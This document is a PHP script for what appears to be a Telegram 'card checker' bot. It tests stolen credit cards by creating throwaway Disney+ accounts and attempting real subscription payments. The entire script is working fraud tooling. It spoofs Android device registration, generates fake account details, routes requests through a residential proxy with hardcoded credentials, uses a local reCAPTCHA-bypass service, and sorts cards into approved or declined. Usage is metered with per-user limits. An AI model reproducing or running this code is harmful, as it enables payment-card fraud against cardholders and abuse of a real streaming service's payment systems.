<?php

header('Content-Type: text/plain; charset=utf-8');
error_reporting(0);

$start = microtime(true);

// Database functions
function getCurrentLimit($chatid) {
    $host = "localhost";
    $username = "root";
    $password = "";
    $dbname = "checkerbotdb3";
    
    $conn = new mysqli($host, $username, $password, $dbname);
    if ($conn->connect_error) {
        return 0;
    }
    
    $stmt = $conn->prepare("SELECT disneylimit FROM users WHERE chatid = ?");
    $stmt->bind_param("s", $chatid);
    $stmt->execute();
    $result = $stmt->get_result();
    
    if ($row = $result->fetch_assoc()) {
        $limit = $row['disneylimit'];
        $stmt->close();
        $conn->close();
        return $limit;
    }
    
    $stmt->close();
    $conn->close();
    return 0;
}

function decrementLimit($chatid) {
    $host = "localhost";
    $username = "root";
    $password = "";
    $dbname = "checkerbotdb3";
    
    $conn = new mysqli($host, $username, $password, $dbname);
    if ($conn->connect_error) {
        return false;
    }
    
    $stmt = $conn->prepare("UPDATE users SET disneylimit = disneylimit - 1 WHERE chatid = ? AND disneylimit > 0");
    $stmt->bind_param("s", $chatid);
    $success = $stmt->execute();
    
    $stmt->close();
    $conn->close();
    return $success;
}

// GET parametrelerini al
$lista = isset($_GET['lista']) ? $_GET['lista'] : '';
$chatid = isset($_GET['chatid']) ? $_GET['chatid'] : '';

if (empty($lista)) {
    die("❌ ERROR - Lista parametresi gerekli! | N/A (0.00s) 𝐋𝐈𝐌𝐈𝐓:0 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

if (empty($chatid)) {
    die("❌ ERROR - ChatID parametresi gerekli! | N/A (0.00s) 𝐋𝐈𝐌𝐈𝐓:0 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit kontrolü
$current_limit = getCurrentLimit($chatid);
if ($current_limit <= 0) {
    die("❌ ERROR - Limit yetersiz! | {$lista} (0.00s) 𝐋𝐈𝐌𝐈𝐓:0 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limiti hemen azalt
decrementLimit($chatid);
$remaining_limit = $current_limit - 1;

// Parse card details
$card_parts = explode('|', $lista);
$cc = $card_parts[0];
$month = $card_parts[1];
$year = $card_parts[2];
$cvv = $card_parts[3];

// Yıl formatını düzenle
if (strlen($year) == 2) {
    $year = "20" . $year;
}
$year_int = (int)$year;
$month_int = (int)$month;

// BIN API (binapi.php - fallback mantığı ile)
$bin = substr($cc, 0, 6);
$curl = curl_init();
curl_setopt_array($curl, [
    CURLOPT_URL => "http://localhost/yenifinalcheckerkey4bot/apiler/binapi.php?bin=" . $bin,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 10,
]);
$bin_response = curl_exec($curl);
curl_close($curl);

// BIN formatını düzenle
$bin_data = json_decode($bin_response, true);
if ($bin_data && isset($bin_data['bin'])) {
    $bin_formatted = $bin_data['bin'] . " | " . 
                     $bin_data['country'] . " | " . 
                     $bin_data['bank'] . " | " . 
                     $bin_data['type'] . " " . 
                     $bin_data['level'];
} else {
    $bin_formatted = $bin;
}

// Random generators
function random_string($length = 8, $pattern = "letters") {
    if ($pattern == "letters") {
        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'), 0, $length);
    } elseif ($pattern == "digits") {
        return substr(str_shuffle('0123456789'), 0, $length);
    } elseif ($pattern == "mixed") {
        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, $length);
    }
}

// Random değişkenler
$mail = random_string(8, "digits") . "12@keyfourchecker.com";
$password = strtoupper(random_string(1, "letters")) . random_string(4, "letters") . random_string(3, "digits") . substr(str_shuffle('!@#$%'), 0, 1);
$android_id = random_string(16, "digits");
$advertising_id = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
    mt_rand(0, 0xffff), mt_rand(0, 0xffff),
    mt_rand(0, 0xffff),
    mt_rand(0, 0x0fff) | 0x4000,
    mt_rand(0, 0x3fff) | 0x8000,
    mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
);
$full_name = ucfirst(random_string(8, "letters")) . " " . ucfirst(random_string(8, "letters"));

// STEP 1: Device Registration
$device_url = "https://disney.api.edge.bamgrid.com/graph/v1/device/graphql";
$device_headers = [
    'Accept: application/json',
    'Authorization: ZGlzbmV5JmFuZHJvaWQmMS4wLjA.bkeb0m230uUhv8qrAXuNu39tbE_mD5EEhM_NAcohjyA',
    'Content-Type: application/json',
    'User-Agent: BAMSDK/v6.1.1 (disney-svod-3d9324fc 1.17.1.0; v3.0/v6.1.0; android; phone) OnePlus A5010 (OnePlus-user 7.1.2 20171130.276299 release-keys; Linux; 7.1.2; API 25)'
];

$device_payload = [
    'query' => "\n     mutation (\$registerDevice: RegisterDeviceInput!) {\n       registerDevice(registerDevice: \$registerDevice) {\n         __typename\n       }\n     }\n     ",
    'variables' => [
        'registerDevice' => [
            'applicationRuntime' => 'android',
            'attributes' => [
                'osDeviceIds' => [
                    ['identifier' => $android_id, 'type' => 'android.vendor.id'],
                    ['identifier' => $advertising_id, 'type' => 'android.advertising.id']
                ],
                'manufacturer' => 'OnePlus',
                'model' => 'A5010',
                'operatingSystem' => 'Android',
                'operatingSystemVersion' => '7.1.2'
            ],
            'deviceFamily' => 'android',
            'deviceLanguage' => 'en',
            'deviceProfile' => 'phone'
        ]
    ]
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $device_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($device_payload),
    CURLOPT_HTTPHEADER => $device_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_HEADER => true,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$device_response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$device_body = substr($device_response, $header_size);
curl_close($ch); 

$device_json = json_decode($device_body, true);
$access_token = $device_json['extensions']['sdk']['token']['accessToken'] ?? null;

if (!$access_token) {
    $time = number_format(microtime(true) - $start, 2);
    die("❌ ERROR - Device registration failed | {$lista} ({$time}s) 𝐋𝐈𝐌𝐈𝐓:{$remaining_limit} 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// STEP 2: Check email availability
$check_url = "https://disney.api.edge.bamgrid.com/v1/public/graphql";
$check_headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
    'Pragma: no-cache',
    'Accept: */*',
    'Authorization: ' . $access_token,
    'Content-Type: application/json'
];

$check_payload = [
    'query' => 'query Check($email: String!) {          check(email: $email) {            operations            nextOperation          }        }',
    'variables' => ['email' => $mail],
    'operationName' => 'Check'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $check_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($check_payload),
    CURLOPT_HTTPHEADER => $check_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$check_response = curl_exec($ch);
curl_close($ch);

// STEP 3: Register account
$register_payload = [
    'query' => '    mutation register($input: RegistrationInput!) {        register(registration: $input) {            actionGrant            activeSession {              isSubscriber            }            identity {              ...identity            }        }    }      fragment identity on Identity {    attributes {      securityFlagged      createdAt      passwordResetRequired    }    flows {      marketingPreferences {        eligibleForOnboarding        isOnboarded      }      personalInfo {        eligibleForCollection        requiresCollection      }    }    personalInfo {      dateOfBirth      gender    }    subscriber {      subscriberStatus      subscriptionAtRisk      overlappingSubscription      doubleBilled      doubleBilledProviders      subscriptions {        id        groupId        state        partner        isEntitled        source {          sourceType          sourceProvider          sourceRef          subType        }        paymentProvider        product {          id          sku          offerId          promotionId          name          nextPhase {            sku            offerId            campaignCode            voucherCode          }          entitlements {            id            name            desc            partner          }          categoryCodes          redeemed {            campaignCode            redemptionCode            voucherCode          }          bundle          bundleType          subscriptionPeriod          earlyAccess          trial {            duration          }        }        term {          purchaseDate          startDate          expiryDate          nextRenewalDate          pausedDate          churnedDate          isFreeTrial        }        externalSubscriptionId,        cancellation {          type          restartEligible        }        stacking {          status          overlappingSubscriptionProviders          previouslyStacked          previouslyStackedByProvider        }      }    }  }',
    'variables' => [
        'input' => [
            'attributes' => [
                'languagePreferences' => [
                    'appLanguage' => 'tr',
                    'playbackLanguage' => 'tr',
                    'subtitleLanguage' => 'tr'
                ],
                'legalAssertions' => ['gtou_dplus-sub-tr_ppv2_fln_proxy']
            ],
            'email' => $mail,
            'metadata' => ['isTest' => false],
            'password' => $password
        ]
    ],
    'operationName' => 'register'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $check_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($register_payload),
    CURLOPT_HTTPHEADER => $check_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$register_response = curl_exec($ch);
curl_close($ch);

if (strpos($register_response, 'createdAt') === false) {
    $time = number_format(microtime(true) - $start, 2);
    die("❌ ERROR - Account registration failed | {$lista} ({$time}s) 𝐋𝐈𝐌𝐈𝐓:{$remaining_limit} 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// STEP 4: Login to get new access token
$login_payload = [
    'operationName' => 'login',
    'variables' => [
        'input' => ['email' => $mail, 'password' => $password],
        'includePaywall' => false,
        'includeActionGrant' => false,
        'includeIdentity' => true
    ],
    'query' => 'mutation login($input: LoginInput!, $includePaywall: Boolean!, $includeActionGrant: Boolean!, $includeIdentity: Boolean!) { login(login: $input) { __typename account { __typename ...accountGraphFragment } actionGrant @include(if: $includeActionGrant) activeSession { __typename ...sessionGraphFragment } identity @include(if: $includeIdentity) { __typename ...identityGraphFragment } paywall @include(if: $includePaywall) { __typename ...paywallGraphFragment } } } fragment accountGraphFragment on Account { __typename id activeProfile { __typename id } profiles { __typename ...profileGraphFragment } parentalControls { __typename isProfileCreationProtected } flows { __typename star { __typename isOnboarded } } attributes { __typename email emailVerified userVerified locations { __typename manual { __typename country } purchase { __typename country } registration { __typename geoIp { __typename country } } } } } fragment profileGraphFragment on Profile { __typename id name maturityRating { __typename ratingSystem ratingSystemValues contentMaturityRating maxRatingSystemValue isMaxContentMaturityRating } isAge21Verified flows { __typename star { __typename eligibleForOnboarding isOnboarded } } attributes { __typename isDefault kidsModeEnabled groupWatch { __typename enabled } languagePreferences { __typename appLanguage playbackLanguage preferAudioDescription preferSDH subtitleLanguage subtitlesEnabled } parentalControls { __typename isPinProtected kidProofExitEnabled liveAndUnratedContent { __typename enabled } } playbackSettings { __typename autoplay backgroundVideo prefer133 preferImaxEnhancedVersion } avatar { __typename id userSelected } } } fragment sessionGraphFragment on Session { __typename sessionId device { __typename id } entitlements experiments { __typename featureId variantId version } homeLocation { __typename countryCode } inSupportedLocation isSubscriber location { __typename countryCode } portabilityLocation { __typename countryCode } preferredMaturityRating { __typename impliedMaturityRating ratingSystem } } fragment identityGraphFragment on Identity { __typename id email attributes { __typename passwordResetRequired } flows { __typename marketingPreferences { __typename isOnboarded eligibleForOnboarding } } locations { __typename purchase { __typename country } } subscriber { __typename subscriberStatus subscriptionAtRisk overlappingSubscription doubleBilled doubleBilledProviders subscriptions { __typename id groupId state partner isEntitled source { __typename sourceProvider sourceType subType sourceRef } product { __typename id sku name entitlements { __typename id name partner } bundle subscriptionPeriod earlyAccess trial { __typename duration } } stacking { __typename status overlappingSubscriptionProviders previouslyStacked previouslyStackedByProvider } term { __typename purchaseDate startDate expiryDate nextRenewalDate pausedDate churnedDate isFreeTrial } } } } fragment paywallGraphFragment on Paywall { __typename skus { __typename name sku entitlements productType subscription { __typename subscriptionPeriod sourceProvider } } paywallHash context assertions { __typename documentCode } }'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $check_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($login_payload),
    CURLOPT_HTTPHEADER => $check_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_HEADER => true,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$login_response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$login_body = substr($login_response, $header_size);
curl_close($ch);

$login_json = json_decode($login_body, true);
$user_token = $login_json['extensions']['sdk']['token']['accessToken'] ?? null;
$account_id = $login_json['data']['login']['account']['id'] ?? 'default-account-id';

if ($user_token) {
    $access_token = $user_token;
}

// STEP 5: Get card country from BIN
$bin_url = "https://bincheck.io/tr/details/" . substr($cc, 0, 6);
$bin_headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
    'Pragma: no-cache',
    'Accept: */*'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $bin_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => $bin_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$bin_check_response = curl_exec($ch);
curl_close($ch);

if (preg_match('/ISO Ülke Kodu A2<\/td>.*?<td[^>]*>([A-Z]{2})<\/td>/s', $bin_check_response, $match)) {
    $country_code = $match[1];
} else {
    $country_code = "US";
}

// STEP 6: Tokenize card (SPS)
$token_url = "https://waf-elb-default-prod-bamtech.eu-central-1.bamgrid.com/tokens/sps";
$token_headers = [
    'Authorization: ' . $access_token,
    'Content-Type: application/json',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    'X-BAMTech-Account-Id: ' . $account_id
];

$token_payload = [
    'creditCardNumber' => $cc,
    'namespaceId' => 100,
    'passthroughData' => [
        'alternateName' => 'Disney Subscription Card',
        'billingAddress' => ['country' => $country_code],
        'cvv' => $cvv,
        'expiryMonth' => $month_int,
        'expiryYear' => $year_int,
        'isDefault' => true,
        'isReusable' => true,
        'isShared' => true,
        'ownerFullName' => $full_name,
        'usage' => 'multi_use'
    ]
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $token_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($token_payload),
    CURLOPT_HTTPHEADER => $token_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$token_response = curl_exec($ch);
curl_close($ch);

$token_json = json_decode($token_response, true);
$payment_method_id = $token_json['paymentMethodId'] ?? null;

if (!$payment_method_id) {
    // Parse error
    if (strpos($token_response, 'type') !== false && strpos($token_response, 'dictionary') !== false) {
        if (preg_match('/"type":"c([^"]+)"/', $token_response, $error_match)) {
            $error_type = $error_match[1];
            $code = "Card error: " . $error_type;
        } else {
            $code = "Tokenization failed";
        }
    } else {
        $code = "Tokenization failed";
    }
    
    $time = number_format(microtime(true) - $start, 2);
    die("❌ {$code} | {$lista} ({$time}s) 𝐋𝐈𝐌𝐈𝐓:{$remaining_limit} 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// STEP 6.5: Update card to shared
$update_url = "https://disney.api.edge.bamgrid.com/wallet/payment-cards/" . $payment_method_id;
$update_payload = ['isShared' => true];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $update_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_CUSTOMREQUEST => 'PATCH',
    CURLOPT_POSTFIELDS => json_encode($update_payload),
    CURLOPT_HTTPHEADER => $token_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$update_response = curl_exec($ch);
curl_close($ch);

// STEP 7: Get recaptcha token
$recaptcha_api_url = "http://localhost/yenifinalcheckerkey4bot/apiler/recpv3apiler/recpapi4.php";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $recaptcha_api_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 10
]);
$recaptcha_response = curl_exec($ch);
curl_close($ch);

$recaptcha_json = json_decode($recaptcha_response, true);
if (isset($recaptcha_json['status']) && $recaptcha_json['status'] == 'success') {
    $recaptcha_token = $recaptcha_json['recaptcha_token'];
} else {
    $recaptcha_token = "03AFcWeA4_placeholder";
}

// STEP 8: Subscribe with card
$subscribe_url = "https://disney.api.edge.bamgrid.com/execution/v2/subscription/signup";
$subscribe_payload = [
    'offers' => [[
        'campaignId' => '0d12ed9f-4b1f-3f55-b430-52103b86bbf1',
        'offerId' => '79510f40-799e-4f81-a31d-6932180501ea'
    ]],
    'paymentMethodId' => $payment_method_id,
    'recaptchaToken' => $recaptcha_token
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $subscribe_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_CUSTOMREQUEST => 'PUT',
    CURLOPT_POSTFIELDS => json_encode($subscribe_payload),
    CURLOPT_HTTPHEADER => $token_headers,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_PROXY => 'rp.scrapegw.com:6060',
    CURLOPT_PROXYUSERPWD => 'ccb7t99f1xa6q6v-country-tr:brmog72pi839pjo'
]);
$subscribe_response = curl_exec($ch);
curl_close($ch);

// Parse response
$result = json_decode($subscribe_response, true);
$status = "DECLINED";
$response = "Unknown";
$code = "Unknown";

if (isset($result['data']['success']) && $result['data']['success'] === true) {
    $status = "APPROVED";
    $response = "Payment Successful";
    $code = "Success";
} else {
    $error_code = $result['metadata']['errorCode'] ?? 'UNKNOWN';
    
    // errorData'dan error text'i al
    $error_data = $result['data']['errorData'] ?? [];
    $error_body = $error_data['errorBoundary']['body'] ?? [];
    $error_texts = $error_body['textList'] ?? [];
    
    if (!empty($error_texts)) {
        $error_text = $error_texts[0]['copy']['text'] ?? 'Unknown error';
        $response = $error_text;
    } else {
        // Text yoksa sadece error code'a göre mesaj
        if ($error_code == "FLX-0226") {
            $response = "Card Declined";
        } else {
            $response = "Error";
        }
    }
    
    $code = $error_code;
}

// Output
$emoji = ($status == "APPROVED") ? "✅" : "❌";
$time = number_format(microtime(true) - $start, 2);

// Format the message based on status
if ($status == "APPROVED") {
    echo "{$emoji} {$code} - {$response} | {$lista} ({$time}s) 𝐋𝐈𝐌𝐈𝐓:{$remaining_limit} 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    echo "{$emoji} {$code} - {$response} | {$lista} ({$time}s) 𝐋𝐈𝐌𝐈𝐓:{$remaining_limit} 𝐃𝐈𝐒𝐍𝐄𝐘+ 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}

?>
